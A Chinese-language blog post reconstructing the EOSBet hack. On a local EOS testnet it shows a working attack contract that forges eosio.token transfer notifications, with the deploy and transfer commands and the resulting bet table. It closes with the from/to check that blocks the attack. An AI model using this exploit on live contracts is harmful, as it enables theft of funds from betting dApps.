區塊鏈
挖礦,比特幣,EOS,以太坊

震驚! EOSBet又被攻擊了。損失高達500萬。攻擊手法竟是這樣?

震驚! EOSBet又被攻擊了。損失高達500萬。攻擊手法竟是這樣?

前因

午覺醒來,聽說 EOSBet 又被黑客攻擊了。懷念啊,距離上一次EOSBet被攻擊,按幣圈的時間軸算,已經十幾年前了。

這次是又出什么幺蛾子了呢?被誰黑的不重要,作為一個吃瓜群眾,大家更想知道的是,這次是怎么被攻擊的。

還原現場

其實上面的快訊里,已經講明了攻擊方法了,只是在我們看來,這實在有點難以置信,死因居然這么簡單 ?

真的有種,大象被小石頭絆死的感覺。

所以,如果能還原現場,就知道了真相到底是不是這樣了。

一般來說,現在才發現的bug,在以前的代碼版本里,肯定也存在。 否則就能說明,此次是項目方自己監守自盜。

所以,部署上一次被攻擊時的代碼版本,然后用這次的攻擊手法驗證,就能知道真相了。

由于上一次EOSBet被攻擊,剛好我也做了分析,并把當時的代碼上傳在了github,所以,現在是萬事具備的。只要動手實踐下即可。

準備工作和還原流程

  • 部署EOSBet之前版本的代碼(代碼在github)
  • 編寫和部署攻擊合約
  • 發起轉賬
  • 驗證攻擊結果

首先是部署EOSBet之前版本的代碼:

// create account 
cleos create account eosio eosbetdice11 EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi
cleos create account eosio safetransfer EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi
cleos create account eosio eosbetcasino EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi

// set code
cleos set code eosbetdice11 /Users/joe/Workspace/eos-project/eos-bet-dice/betdice.wast
cleos set abi eosbetdice11 /Users/joe/Workspace/eos-project/eos-bet-dice/betdice.abi

cleos set code safetransfer /Users/joe/Workspace/eos-project/eos-bet-dice/safetransfer.wast
cleos set abi safetransfer /Users/joe/Workspace/eos-project/eos-bet-dice/safetransfer.abi

// set permission
cleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p [email protected]
cleos set account permission safetransfer active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"safetransfer","permission":"eosio.code"},"weight":1}]}' owner -p [email protected]
cleos set account permission safetransfer active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p [email protected]

cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[]}' owner -p [email protected]

// initcontract 
cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi"}' -p eosbetcasino

然后是編寫攻擊合約:

#include <eosiolib/currency.hpp>

using namespace eosio;

class recipientattack : public contract
{
public:
  recipientattack(account_name self)
      : contract(self)
  {
  }
  void transfer(account_name from, account_name to, asset quantity, string memo)
  {
    if (from == _self || to != _self)
    {
      return;
    }

    require_recipient(N(eosbetdice11));
  }
};

#undef EOSIO_ABI
#define EOSIO_ABI(TYPE, MEMBERS)                                \
  extern "C" {                                                  \
  void apply(uint64_t receiver, uint64_t code, uint64_t action) \
  {                                                             \
    auto self = receiver;                                       \
    if (action == N(onerror))                                   \
    {                                                           \
      eosio_assert(code == N(eosio), "only system account");    \
    }                                                           \
    if ((code == N(eosio.token) && action == N(transfer)))      \
    {                                                           \
      TYPE thiscontract(self);                                  \
      switch (action)                                           \
      {                                                         \
        EOSIO_API(TYPE, MEMBERS)                                \
      }                                                         \
    }                                                           \
  }                                                             \
  }

EOSIO_ABI(recipientattack, (transfer))

然后是部署攻擊合約:

// deploy hack contract
eosiocpp -o /Users/joe/Workspace/eos-project/eos-bet-dice/recipientattack.wast /Users/joe/Workspace/eos-project/eos-bet-dice/recipientattack.cpp
eosiocpp -g /Users/joe/Workspace/eos-project/eos-bet-dice/recipientattack.abi /Users/joe/Workspace/eos-project/eos-bet-dice/recipientattack.cpp

cleos set code testuser1111 /Users/joe/Workspace/eos-project/eos-bet-dice/recipientattack.wast
cleos set abi testuser1111 /Users/joe/Workspace/eos-project/eos-bet-dice/recipientattack.abi

再然后,只要向 testuser1111 轉賬,testuser1111 會在收到轉賬的時候,從合約里向 eosbetdice11 發起轉賬通知:

cleos transfer joetothemoon testuser1111 "1.0000 EOS" "66-testuser1111-" -p joetothemoon

最后,就是驗證結果了:

?  eos-bet-dice git:(master) ? cleos get table eosbetdice11 eosbetdice11 activebets

{
  "rows": [{
      "id": "13684231522196818869",
      "bettor": "joetothemoon",
      "referral": "testuser1111",
      "bet_amt": 10000,
      "roll_under": 66,
      "seed": "c8fae4787a722f9c1abd7f5c534252d4729bee8f5e8095496fb9721985917850",
      "bet_time": "2018-10-15T11:38:47"
    },{
      "id": "18022651927707470524",
      "bettor": "joetothemoon",
      "referral": "eosbetcasino",
      "bet_amt": 10000,
      "roll_under": 66,
      "seed": "9531eb770e1caba7c760744befc2af5b61aab3a20140c10463ce47ae746c93fa",
      "bet_time": "2018-10-15T11:25:10"
    }
  ],
  "more": false
}

可以看到。通過偽造轉賬通知,確實能夠零成本成功下注,輸了EOS只是轉到了自己的號里,贏了卻能從項目方那拿到真正的EOS。好一招偷天換日,假鈔換貞操。

相關代碼我放在了github。

有興趣的技術小伙伴,都可以自行還原案發現場。

總結

可以看到,攻擊代碼就一行:

require_recipient(N(eosbetdice11));

防范也很簡單:就是驗證通知中的 from、to 參數,像攻擊合約示例代碼那樣:

if (from == _self || to != _self)
{
 return;
}

區塊鏈項目,安全真的很重要啊!!這樣的小bug,也許只要花1、2萬塊錢請業內的程序員一起看一下就能檢查出來。但是省了這筆費用,賭自己的項目沒問題,輸的話就輸大了,也許EOSBet本身就是做賭城的,想賭一賭,而且也輸得起吧。

贊(0)

評論 搶沙發

  • 昵稱 (必填)
  • 郵箱 (必填)
  • 網址
p3试机号99